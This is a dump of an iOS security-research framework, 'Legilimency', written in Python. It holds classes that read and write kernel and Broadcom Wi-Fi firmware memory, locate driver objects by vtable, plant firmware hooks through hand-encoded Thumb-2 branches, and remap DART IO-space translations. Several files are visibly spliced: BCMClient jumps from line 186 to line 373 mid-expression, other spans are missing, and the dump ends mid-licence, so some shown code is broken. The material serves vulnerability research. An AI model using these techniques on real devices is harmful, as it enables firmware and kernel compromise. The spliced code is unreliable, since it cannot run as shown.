├── AppleBCMWLANPCIeCompletionRing.py ├── AppleBCMWLANPCIeSubmissionRing.py ├── BCMClient.py ├── BCMHostDongleInterface.py ├── CONTRIBUTING.md ├── DART.py ├── LICENSE ├── MemClient.py ├── README.md ├── TranslationTable.py ├── code_chunks ├── delete_flow_ring │ ├── chunk.S │ └── compile.sh ├── dma_d2h │ ├── chunk.S │ └── compile.sh └── send_frame │ ├── chunk.S │ └── compile.sh ├── defs.py ├── kalloc.py ├── memshell.py └── symbols.py /AppleBCMWLANPCIeCompletionRing.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | from MemClient import MemClient 20 | from defs import * 21 | from symbols import * 22 | from kalloc import * 23 | 24 | #The offset of the base address field in the AppleBCMWLANPCIeCompletionRing instance 25 | BASE_ADDRESS_OFFSET = 216 26 | 27 | #The offset of the element size field in the AppleBCMWLANPCIeCompletionRing instance 28 | ELEMENT_SIZE_OFFSET = 92 29 | 30 | #The offset of the index pointer field in the AppleBCMWLANPCIeCompletionRing instance 31 | INDEX_POINTER_OFFSET = 144 32 | 33 | class AppleBCMWLANPCIeCompletionRing(object): 34 | """ 35 | This class is used to represent an AppleBCMWLANPCIeCompletionRing instance 36 | """ 37 | 38 | def __init__(self, client, addr, ring_id): 39 | """ 40 | Creates a new client, using the underlying MemShell client and the given instance address 41 | """ 42 | 43 | self.client = client 44 | self.addr = addr 45 | self.ring_id = ring_id 46 | 47 | def get_base_address(self): 48 | """ 49 | Returns the ring's base address in the kernel VAS 50 | """ 51 | 52 | return self.client.read64(self.addr + BASE_ADDRESS_OFFSET) 53 | 54 | def get_element_size(self): 55 | """ 56 | Returns the ring's element size 57 | """ 58 | 59 | return self.client.read32(self.addr + ELEMENT_SIZE_OFFSET) 60 | 61 | def get_index_pointer(self): 62 | """ 63 | Returns the pointer to the ring's index in the kernel VAS (which is also mapped to IO-Space!) 64 | """ 65 | 66 | return self.client.read64(self.addr + INDEX_POINTER_OFFSET) 67 | 68 | def get_ring_id(self): 69 | """ 70 | Returns the ring's ID 71 | """ 72 | 73 | return self.ring_id 74 | -------------------------------------------------------------------------------- /AppleBCMWLANPCIeSubmissionRing.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | from MemClient import MemClient 20 | from defs import * 21 | from symbols import * 22 | from kalloc import * 23 | 24 | #The offset of the base address field in the AppleBCMWLANPCIeSubmissionRing instance 25 | BASE_ADDRESS_OFFSET = 248 26 | 27 | #The offset of the element size field in the AppleBCMWLANPCIeSubmissionRing instance 28 | ELEMENT_SIZE_OFFSET = 92 29 | 30 | #The offset of the index pointer field in the AppleBCMWLANPCIeSubmissionRing instance 31 | INDEX_POINTER_OFFSET = 184 32 | 33 | #The offset of the read index pointer field in the AppleBCMWLANPCIeSubmissionRing instance 34 | R_INDEX_POINTER_OFFSET = 176 35 | 36 | #The offset of the max index field in the AppleBCMWLANPCIeSubmissionRing instance 37 | MAX_INDEX_OFFSET = 88 38 | 39 | class AppleBCMWLANPCIeSubmissionRing(object): 40 | """ 41 | This class is used to represent an AppleBCMWLANPCIeSubmissionRing instance 42 | """ 43 | 44 | def __init__(self, client, addr, ring_id): 45 | """ 46 | Creates a new client, using the underlying MemShell client and the given instance address 47 | """ 48 | 49 | self.client = client 50 | self.addr = addr 51 | self.ring_id = ring_id 52 | 53 | def get_base_address(self): 54 | """ 55 | Returns the ring's base address in the kernel VAS 56 | """ 57 | 58 | return self.client.read64(self.addr + BASE_ADDRESS_OFFSET) 59 | 60 | def get_element_size(self): 61 | """ 62 | Returns the ring's element size 63 | """ 64 | 65 | return self.client.read32(self.addr + ELEMENT_SIZE_OFFSET) 66 | 67 | def get_index_pointer(self): 68 | """ 69 | Returns the pointer to the ring's index in the kernel VAS (which is also mapped to IO-Space!) 70 | """ 71 | 72 | return self.client.read64(self.addr + INDEX_POINTER_OFFSET) 73 | 74 | def get_r_index_pointer(self): 75 | """ 76 | Returns the pointer to the ring's read-index in the kernel VAS (which is also mapped to IO-Space!) 77 | """ 78 | 79 | return self.client.read64(self.addr + R_INDEX_POINTER_OFFSET) 80 | 81 | def get_max_index(self): 82 | """ 83 | Returns the ring's maximal allowed index 84 | """ 85 | 86 | return self.client.read32(self.addr + MAX_INDEX_OFFSET) 87 | 88 | def get_ring_id(self): 89 | """ 90 | Returns the ring's ID 91 | """ 92 | 93 | return self.ring_id 94 | -------------------------------------------------------------------------------- /BCMClient.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | from MemClient import MemClient, qword_at 20 | from defs import * 21 | from symbols import * 22 | from kalloc import * 23 | from AppleBCMWLANPCIeSubmissionRing import AppleBCMWLANPCIeSubmissionRing 24 | from AppleBCMWLANPCIeCompletionRing import AppleBCMWLANPCIeCompletionRing 25 | from DART import DART 26 | import time, struct 27 | 28 | #The size of the allocation for the PCIe object 29 | PCIE_OBJECT_ALLOCATION_SIZE = 3824 30 | 31 | #The offset of the internal object representing SoC memory access within the PCIe object 32 | CHIP_INTERNAL_OBJECT_OFFSET = 896 33 | 34 | #The offset of the TCM field within the internal object 35 | TCM_OFFSET = 144 36 | 37 | #The offset of the RAM offset field in the internal object 38 | RAM_OFFSET_OFFSET = 132 39 | 40 | #The offset of the RAM size field in the internal object 41 | RAM_SIZE_OFFSET = 136 42 | 43 | #The size of the embedded firmware log array 44 | LOG_ARRAY_SIZE = 80 45 | 46 | #The offset of the IOMapper instance in the PCIe object 47 | IO_MAPPER_OFFSET = 808 48 | 49 | #The offset of the IOVMAllocator instance in the IOMapper instance 50 | IO_VM_ALLOCATOR_OFFSET = 240 51 | 52 | #The offset of the AppleS5L8960XDART instance in the IOVMAllocator instance 53 | SL_DART_OFFSET = 24 54 | 55 | #The offset of the resource map field in the PCIe object 56 | RESOURCE_MAP_OFFSET = 696 57 | 58 | #The offset of the resource array field in the resource map instance 59 | RESOURCE_ARRAY_OFFSET = 24 60 | 61 | #The offset of the max resource ID field in the resource map instance 62 | MAX_RESOURCE_ID_OFFSET = 20 63 | 64 | #The offset of the resource mapping object within the resource instance 65 | MAPPING_OBJ_OFFSET = 32 66 | 67 | #The offset of the resource data offset field in the resource instance 68 | RESOURCE_DATA_OFFSET_OFFSET = 40 69 | 70 | #The offset of the resource data array field in the resource instance 71 | RESOURCE_DATA_ARRAY_OFFSET = 72 72 | 73 | #The size of an entry in the resource data array 74 | RESOURCE_ENTRY_SIZE = 16 75 | 76 | #The offset of the resource offset field in the resource instance 77 | RESOURCE_OFFSET_OFFSET = 64 78 | 79 | #The offset of the resource length field in the resource instance 80 | RESOURCE_LENGTH_OFFSET = 68 81 | 82 | #The offset of the mbuf field in the resource instance 83 | RESOURCE_MBUF_OFFSET = 56 84 | 85 | #The time, in seconds, to wait when polling for a code chunk's hook on wl_hc to complete 86 | HOOK_POLL_DELAY = 0.5 87 | 88 | #The time, in seconds, to wait when polling the firmware for a crash 89 | REBOOT_POLL_DELAY = 0.1 90 | 91 | class BCMClient(object): 92 | """ 93 | This client is used to control the BCM Wi-Fi SoC by manipulating it's TCM. 94 | """ 95 | 96 | def __init__(self, client): 97 | """ 98 | Creates a new client, using the underlying MemShell client. Automatically 99 | locates the PCIe object in the kalloc zones and extracts the TCM's location. 100 | """ 101 | 102 | self.client = client 103 | self.pcie_obj = find_object_by_vtable(self.client, PCIE_OBJECT_VTABLE + self.client.slide(), PCIE_OBJECT_ALLOCATION_SIZE) 104 | internal_object = self.client.read64(self.pcie_obj + CHIP_INTERNAL_OBJECT_OFFSET) 105 | self.tcm = self.client.read64(internal_object + TCM_OFFSET) 106 | self.ram_offset = self.client.read32(internal_object + RAM_OFFSET_OFFSET) 107 | self.ram_size = self.client.read32(internal_object + RAM_SIZE_OFFSET) 108 | 109 | def get_pcie_obj(self): 110 | """ 111 | Returns the address of the PCIe object. 112 | """ 113 | 114 | return self.pcie_obj 115 | 116 | def fw_check_range(self, fw_addr, size): 117 | """ 118 | Checks that the given address range falls within the firmware's TCM, and raises 119 | an exception otherwise. 120 | """ 121 | 122 | if not (self.ram_offset <= fw_addr <= (self.ram_offset + self.ram_size)) or \ 123 | not (self.ram_offset <= (fw_addr + size) <= (self.ram_offset + self.ram_size)): 124 | raise Exception("Illegal FW read range: [%08X,%08X]" % (fw_addr, fw_addr + size)) 125 | 126 | def fw_read(self, fw_addr, size): 127 | """ 128 | Reads an arbitrarily large block from the firmware's TCM. 129 | """ 130 | 131 | self.fw_check_range(fw_addr, size) 132 | return self.client.read(self.tcm + fw_addr - self.ram_offset, size) 133 | 134 | def fw_read128(self, fw_addr): 135 | """ 136 | Reads a 128-bit value from the firmware's TCM. 137 | """ 138 | 139 | self.fw_check_range(fw_addr, struct.calcsize("QQ")) 140 | return self.client.read128(self.tcm + fw_addr - self.ram_offset) 141 | 142 | def fw_read64(self, fw_addr): 143 | """ 144 | Reads a 64-bit value from the firmware's TCM. 145 | """ 146 | 147 | self.fw_check_range(fw_addr, QWORD_SIZE) 148 | return self.client.read64(self.tcm + fw_addr - self.ram_offset) 149 | 150 | def fw_read32(self, fw_addr): 151 | """ 152 | Reads a 32-bit value from the firmware's TCM. 153 | """ 154 | 155 | self.fw_check_range(fw_addr, DWORD_SIZE) 156 | return self.client.read32(self.tcm + fw_addr - self.ram_offset) 157 | 158 | def fw_write64(self, fw_addr, val): 159 | """ 160 | Writes a 64-bit value to the firmware's TCM. 161 | """ 162 | 163 | self.fw_check_range(fw_addr, QWORD_SIZE) 164 | self.client.write64(self.tcm + fw_addr - self.ram_offset, val) 165 | 166 | def fw_write32(self, fw_addr, val): 167 | """ 168 | Writes a 32-bit value to the firmware's TCM. 169 | """ 170 | 171 | self.fw_check_range(fw_addr, DWORD_SIZE) 172 | self.client.write32(self.tcm + fw_addr - self.ram_offset, val) 173 | 174 | def fw_write8(self, fw_addr, val): 175 | """ 176 | Writes an 8-bit value to the firmware's TCM. 177 | """ 178 | 179 | #Ensuring this is a valid range (including trailing bits after the last byte read) 180 | dword_off = fw_addr % DWORD_SIZE 181 | aligned_addr = fw_addr - dword_off 182 | self.fw_check_range(aligned_addr, DWORD_SIZE) 183 | 184 | #Switching the previous byte to the target one 185 | prev_val = self.fw_read32(aligned_addr) 186 | val_bytes = [b for b in struct.pack(" (self.ram_offset + self.ram_size): 373 | freelist.append((curr, GARBAGE_VALUE)) 374 | break 375 | return freelist 376 | 377 | def dump_freelist(self): 378 | """ 379 | Prints each freechunk in the heap. 380 | """ 381 | 382 | freelist = self.read_freelist() 383 | print "->".join(["(A %06X | S %05X)" % (addr, size) for (addr, size) in freelist]) 384 | 385 | def hook(self, function_address, hook_content, hook_address): 386 | """ 387 | Inserts a hook onto the given function. The hook is placed at the given 388 | address (so please make sure that it isn't occupied - e.g., near the top 389 | of the heap). 390 | """ 391 | 392 | #Writing a THUMB2 wide branch to our hook 393 | preamble = self.fw_read32(function_address) 394 | next_word = self.fw_read32(function_address + DWORD_SIZE) 395 | 396 | branch_to_hook = self.encode_thumb2_wide_branch(function_address, hook_address) 397 | branch_back = self.encode_thumb2_wide_branch(hook_address + len(hook_content) + DWORD_SIZE, function_address + DWORD_SIZE) 398 | 399 | #Writing the hook's contents 400 | for i in range(0, len(hook_content), QWORD_SIZE): 401 | self.fw_write64(hook_address + i, struct.unpack("> 32) & 0xFFFFFFFF)) 431 | code_chunk = code_chunk.replace(128*"\xAB", dma_contents + ("\xAB" * (128 - len(dma_contents)))) 432 | self.execute_chunk(code_chunk) 433 | 434 | def encode_thumb2_wide_branch(self, from_addr, to_addr): 435 | """ 436 | Encodes an unconditional THUMB2 wide branch from the given address to the given address. 437 | """ 438 | 439 | if from_addr < to_addr: 440 | s_bit = 0 441 | offset = to_addr - from_addr - THUMB2_INST_WIDTH 442 | else: 443 | s_bit = 1 444 | offset = 2**25 - (from_addr + THUMB2_INST_WIDTH - to_addr) 445 | 446 | i1 = (offset >> 24) & 1 447 | i2 = (offset >> 23) & 1 448 | j1 = (0 if i1 else 1) ^ s_bit 449 | j2 = (0 if i2 else 1) ^ s_bit 450 | 451 | b2 = 0b11110000 | (s_bit << 2) | ((offset >> 20) & 0b11) 452 | b1 = (offset >> 12) & 0xff 453 | b4 = 0b10010000 | (j1 << 5) | (j2 << 3) | ((offset >> 9) & 0b111) 454 | b3 = (offset >> 1) & 0xff 455 | return chr(b1) + chr(b2) + chr(b3) + chr(b4) 456 | -------------------------------------------------------------------------------- /BCMHostDongleInterface.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | from defs import * 20 | import struct 21 | 22 | #The offset of the "rxd" field in the dma_info structure 23 | RXD_OFFSET = 64 24 | 25 | #The offset of the "nrxd" field in the dma_info structure 26 | NRXD_OFFSET = 108 27 | 28 | #The size of a 64-bit RX descriptor in the DMA descriptor chain 29 | RX_DESC_SIZE = 16 30 | 31 | #The offset of the rings_info_ptr field in the PCIe shared structure 32 | RINGS_INFO_PTR_OFFSET = 12 * DWORD_SIZE 33 | 34 | #The offset of the flow ring instance array in the PCIe object 35 | FLOW_RINGS_OFFSET = 1328 36 | 37 | #The size of a ring_mem entry in the ringmem array 38 | RING_MEM_ENTRY_SIZE = 16 39 | 40 | #The number of D2H/H2D rings (not including flow rings!) 41 | NUM_RINGS = 5 42 | 43 | #The number of D2H rings (not including flow rings!) 44 | NUM_D2H_RINGS = 3 45 | 46 | #The indices of each of the generic H2D/D2H rings (not including flow rings) 47 | H2D_MSGRING_CONTROL_SUBMIT = 0 48 | H2D_MSGRING_RXPOST_SUBMIT = 1 49 | D2H_MSGRING_CONTROL_COMPLETE = 2 50 | D2H_MSGRING_TX_COMPLETE = 3 51 | D2H_MSGRING_RX_COMPLETE = 4 52 | 53 | #The offsets of the AppleBCMWLANPCIeSubmissionRing instances for each H2D ring in the PCIe object 54 | H2D_RING_OFFSETS = {H2D_MSGRING_CONTROL_SUBMIT : 1232, 55 | H2D_MSGRING_RXPOST_SUBMIT : 1272} 56 | 57 | #The offsets of the AppleBCMWLANPCIeCompletionRing instances for each D2H ring in the PCIe object 58 | D2H_RING_OFFSETS = {D2H_MSGRING_CONTROL_COMPLETE : 1240, 59 | D2H_MSGRING_TX_COMPLETE : 1288, 60 | D2H_MSGRING_RX_COMPLETE : 1280} 61 | 62 | #The types of indices present 63 | H2D_WRITE = 0 64 | H2D_READ = 1 65 | D2H_WRITE = 2 66 | D2H_READ = 3 67 | 68 | #The hostaddr offsets for each type of index provided, within rings_info structure 69 | INDEX_HOSTADDR_OFFSETS = {H2D_WRITE : 5 * DWORD_SIZE, 70 | H2D_READ : 7 * DWORD_SIZE, 71 | D2H_WRITE : 9 * DWORD_SIZE, 72 | D2H_READ : 11 * DWORD_SIZE} 73 | 74 | 75 | class BCMHostDongleInterface(object): 76 | """ 77 | This class allows inspection of the H2D/D2H communication between the BCM chip and the host. 78 | """ 79 | 80 | def __init__(self, bcmclient): 81 | """ 82 | Creates a new instance, using the underlying BCMClient to communicate with the Wi-Fi SoC. 83 | """ 84 | 85 | self.bcmclient = bcmclient 86 | self.client = bcmclient.client 87 | def dump_rx_descriptors(self, dma_object_addr): 88 | """ 89 | Dumps each RXD in the given DMA object. 90 | """ 91 | 92 | rxd = self.bcmclient.fw_read32(dma_object_addr + RXD_OFFSET) 93 | nrxd = struct.unpack(" to see your current 13 | agreements on file or to sign a new one. 14 | 15 | You generally only need to submit a CLA once, so if you've already submitted one 16 | (even if it was for a different project), you probably don't need to do it 17 | again. 18 | 19 | ## Code reviews 20 | 21 | All submissions, including submissions by project members, require review. We 22 | use GitHub pull requests for this purpose. Consult [GitHub Help] for more 23 | information on using pull requests. 24 | 25 | [GitHub Help]: https://help.github.com/articles/about-pull-requests/ 26 | -------------------------------------------------------------------------------- /DART.py: -------------------------------------------------------------------------------- 1 | # Legilimency - Memory Analysis Framework for iOS 2 | # -------------------------------------- 3 | # 4 | # Written and maintained by Gal Beniamini 5 | # 6 | # Copyright 2017 Google Inc. All Rights Reserved. 7 | # Licensed under the Apache License, Version 2.0 (the "License"); 8 | # you may not use this file except in compliance with the License. 9 | # You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | from MemClient import MemClient, qword_at 20 | import struct 21 | from defs import * 22 | from symbols import * 23 | 24 | #The base address of the IO-Space mapping governed by DART 25 | DART_IO_SPACE_BASE = 0x80000000 26 | 27 | #The memory range translated by a first-level DART entry 28 | DART_FIRST_LEVEL_ENTRY_SIZE= 0x200000 29 | 30 | #the size of the mapping governed by a second-level DART entry 31 | DART_SECOND_LEVEL_ENTRY_SIZE = 0x1000 32 | 33 | #The size of the first-level DART table 34 | DART_FIRST_LEVEL_TABLE_SIZE = 0x1000 35 | 36 | #The size of the second-level DART table 37 | DART_SECOND_LEVEL_TABLE_SIZE = 0x1000 38 | 39 | #The mask used to retrieve a second-level entry's address 40 | SECOND_LEVEL_ENTRY_MASK = 0xFFFFFFFFFFFFF000 41 | 42 | #The mask used to get a translation's MSBs 43 | TRANSLATION_OFFSET_MASK = 0xFFF 44 | 45 | #The offset of the DART table within the DART instance 46 | DART_TABLE_OFFSET = 312 47 | 48 | #The offset of the DART registers within the DART instance 49 | DART_REGISTERS_OFFSET = 384 50 | 51 | #The offset of the L0 descriptor in the DART registers 52 | L0_DESC_REG_OFFSET = 64 53 | 54 | class DART(object): 55 | """ 56 | A class representing the DART IO-Space -> PA resolution table. 57 | """ 58 | 59 | def __init__(self, client, sl_dart, verbose=True): 60 | self.sl_dart = sl_dart 61 | self.client = client 62 | self.io_to_pa_map = {} 63 | self.pa_to_io_map = {} 64 | 65 | #Reading the DART table and HW-register pointers 66 | self.dart_table = self.client.read64(self.sl_dart + DART_TABLE_OFFSET) 67 | self.dart_registers = self.client.read64(self.sl_dart + DART_REGISTERS_OFFSET) 68 | 69 | #Going over each of the table's first-level entries 70 | self.l0_ptr = self.client.read64(self.dart_table) 71 | self.l1_ptr = self.client.read64(self.l0_ptr + QWORD_SIZE) 72 | self.dart_l2_addrs = [] 73 | l1_pa_table = self.client.read(self.l1_ptr, DART_FIRST_LEVEL_TABLE_SIZE) 74 | if verbose: 75 | print "l0_ptr: %016X" % self.l0_ptr 76 | print "l1_ptr: %016X" % self.l1_ptr 77 | for l1_idx in range(0, DART_FIRST_LEVEL_TABLE_SIZE, QWORD_SIZE): 78 | 79 | #Skipping unpopulated first-level entries 80 | l1_pa = qword_at(l1_pa_table, l1_idx/QWORD_SIZE) 81 | if l1_pa == 0: 82 | continue #Not populated 83 | 84 | #Finding the second-level descriptor bytes 85 | l1_va = self.client.read64(self.l0_ptr + 2*QWORD_SIZE + l1_idx) 86 | l2_ptr = self.client.read64(l1_va + QWORD_SIZE) 87 | self.dart_l2_addrs.append(l2_ptr) 88 | l2_pa_table = self.client.read(l2_ptr, DART_SECOND_LEVEL_TABLE_SIZE) 89 | if verbose: 90 | print "L1 VA: %016X" % l1_va 91 | print "l2_ptr: %016X" % l2_ptr 92 | for l2_idx in range(0, DART_SECOND_LEVEL_TABLE_SIZE, QWORD_SIZE): 93 | 94 | #Skipping unpopulated second-level entries 95 | l2_entry = qword_at(l2_pa_table, l2_idx/QWORD_SIZE) 96 | if l2_entry == 0: 97 | continue 98 | 99 | #Adding the IO-Space -> PA mapping 100 | io_space_addr = DART_IO_SPACE_BASE + \ 101 | ((l1_idx/QWORD_SIZE) * DART_FIRST_LEVEL_ENTRY_SIZE) + \ 102 | ((l2_idx/QWORD_SIZE) * DART_SECOND_LEVEL_ENTRY_SIZE) 103 | if verbose: 104 | print "0x%08X -> 0x%016X" % (io_space_addr, l2_entry) 105 | self.io_to_pa_map[io_space_addr] = l2_entry & SECOND_LEVEL_ENTRY_MASK 106 | 107 | #Inverting the mapping to keep an IO-Space -> PA mapping 108 | for k, v in self.io_to_pa_map.iteritems(): 109 | self.pa_to_io_map[v] = self.io_to_pa_map.get(v, []) 110 | if type(self.pa_to_io_map[v]) != list: 111 | self.pa_to_io_map[v] = [self.pa_to_io_map[v]] 112 | self.pa_to_io_map[v].append(k) 113 | 114 | def io_to_pa(self, io_space_addr): 115 | """ 116 | Translates the given IO-Space address to the corresponding physical address 117 | """ 118 | 119 | aligned_io_space_addr = io_space_addr & SECOND_LEVEL_ENTRY_MASK 120 | offset = io_space_addr & TRANSLATION_OFFSET_MASK 121 | if aligned_io_space_addr in self.io_to_pa_map: 122 | return self.io_to_pa_map[aligned_io_space_addr] + offset 123 | return None 124 | 125 | def pa_to_io(self, pa_addr): 126 | """ 127 | Translates the given IO-Space address to the corresponding physical address 128 | """ 129 | 130 | aligned_pa_addr = pa_addr & SECOND_LEVEL_ENTRY_MASK 131 | offset = pa_addr & TRANSLATION_OFFSET_MASK 132 | if aligned_pa_addr in self.pa_to_io_map: 133 | return self.pa_to_io_map[aligned_pa_addr][0] + offset 134 | return None 135 | 136 | def map_io_space(self, io_addr, pa_addr): 137 | """ 138 | Maps the given IO-Space address to the given physical address. 139 | """ 140 | 141 | #Calculating the first and second level indices 142 | l1_idx = (io_addr - DART_IO_SPACE_BASE) / DART_FIRST_LEVEL_ENTRY_SIZE 143 | l2_idx = ((io_addr - DART_IO_SPACE_BASE) - (l1_idx * DART_FIRST_LEVEL_ENTRY_SIZE)) / DART_SECOND_LEVEL_ENTRY_SIZE 144 | 145 | #Is there a second level descriptor at this address? 146 | l1_va = self.client.read64(self.l0_ptr + 2*QWORD_SIZE + l1_idx*QWORD_SIZE) 147 | l2_ptr = self.client.read64(l1_va + QWORD_SIZE) 148 | if l2_ptr == 0: 149 | raise Exception("No second level entry descriptor at index %d" % l1_idx) 150 | 151 | #Writing the translation 152 | self.client.write64(l2_ptr + l2_idx*QWORD_SIZE, pa_addr | 0b11) 153 | 154 | def get_io_addrs(self): 155 | """ 156 | Returns a list of IO base addresses mapped to IO-Space 157 | """ 158 | 159 | return sorted(self.io_to_pa_map.keys()) 160 | 161 | def read_reg(self, offset): 162 | """ 163 | Reads the hardware register at the given offset 164 | NOTE: The hardware *requires* a strict 32-bit load, anything else returns 0xFF's. 165 | """ 166 | 167 | return self.client.read32_strict(self.dart_registers + offset) 168 | 169 | def write_reg(self, offset, val): 170 | """ 171 | Writes the hardware register at the given offset. 172 | NOTE: The hardware *requires* a strict 32-bit store. 173 | """ 174 | 175 | self.client_write32_strict(self.dart_registers + offset, val) 176 | 177 | def get_l0_desc(self): 178 | """ 179 | Returns the L0 descriptor from DART's HW registers. 180 | """ 181 | 182 | return self.read_reg(L0_DESC_REG_OFFSET) 183 | 184 | def get_l0_pa(self): 185 | """ 186 | Extracts the host physical address of the L0 table from the L0 descriptor in DART's registers. 187 | """ 188 | 189 | return (self.get_l0_desc & 0xFFFFFF) << 12 190 | 191 | def map_l0_table(self, l0_table_pa): 192 | """ 193 | Maps the given L0 table into DART's L0 descriptor. 194 | NOTE: DART caches *many* of the IO-Space mappings, therefore changes 195 | might take time to become apparent. 196 | """ 197 | 198 | self.write_reg(L0_DESC_REG_OFFSET, ((l0_table_pa >> 12) & 0xFFFFFF) | 0x80000000) 199 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of 